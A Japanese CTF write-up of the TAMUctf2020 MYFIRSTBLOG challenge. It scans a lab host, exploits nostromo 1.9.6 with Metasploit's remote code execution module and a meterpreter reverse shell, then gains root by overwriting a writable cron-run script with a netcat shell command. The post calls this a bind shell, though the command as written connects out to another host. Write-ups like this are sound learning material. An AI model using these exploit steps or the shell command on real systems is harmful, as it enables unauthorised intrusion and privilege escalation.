はじめに
KUDoS として TAMUctf2020 に参加しました。 MYFIRSTBLOG は唯一解いた問題です。(もっと貢献しろ) Hack the Box Like ですごい楽しかったです。
難易度的には Hack the Box の easy レベルだと思いました。(そもそも僕が解けてるので…)
nmap
$ nmap -sC -sV 172.30.0.2
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-20 21:58 EDT
Nmap scan report for 172.30.0.2
Host is up (0.18s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION
80/tcp open http nostromo 1.9.6
|_http-generator: Hugo 0.54.0
|_http-server-header: nostromo 1.9.6
|_http-title: My first blog!
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.86 seconds
nostromo 1.9.6 にはnostromo 1.9.6 - Remote Code Executionの脆弱性があります
metasploit 使う
msf5 exploit(multi/http/nostromo_code_exec) > options
Module options (exploit/multi/http/nostromo_code_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 172.30.0.2 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SRVHOST 172.30.0.14 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.30.0.14 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Automatic (Linux Dropper)
これで meterpreter の shell が取れます
/etc/crontab をみる
毎度お世話になっている高林さんの以下の記事を参考に調査を進めます https://kakyouim.hatenablog.com/entry/2020/03/14/031746#Linux
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root /usr/bin/healthcheck
/etc/crontab
をみると /usr/bin/healthcheck
が実行され続けていることがわかります。
Linpeas.sh
Linpeas.sh を使用します。 https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
これにより先ほどの /usr/bin/healthcheck
が書き換え可能であることがわかります
(長いので細かい結果は省略)
/usr/bin/healthcheck
を書き換えて bind shell をとる
以下を meterpreter の upload
コマンドを使って /usr/bin/healthcheck
と置き換えます。
nc 192.168.100.113 4444 –e /bin/bash
4444 番 port で待ち受けさせたので、local で以下のようにすると接続できます。
$ nc -nv 172.30.0.2 4444
(UNKNOWN) [172.30.0.2] 4444 (?) open
ls
flag.txt
flagGET です
終わりに
最近 Hack the Box ばかりやっていて CTF に参加していなかったのですが、CTF はみんなで力を合わせて頑張る感があってすごく楽しいですよね… 今回みたいな PENTEST の問題が出てくる CTF があったらまた貢献できるように頑張りたいです (本当は Web 問解けるようになりたいんですけど徳丸本すら読破していないのでこういう問題でしか役に立てない)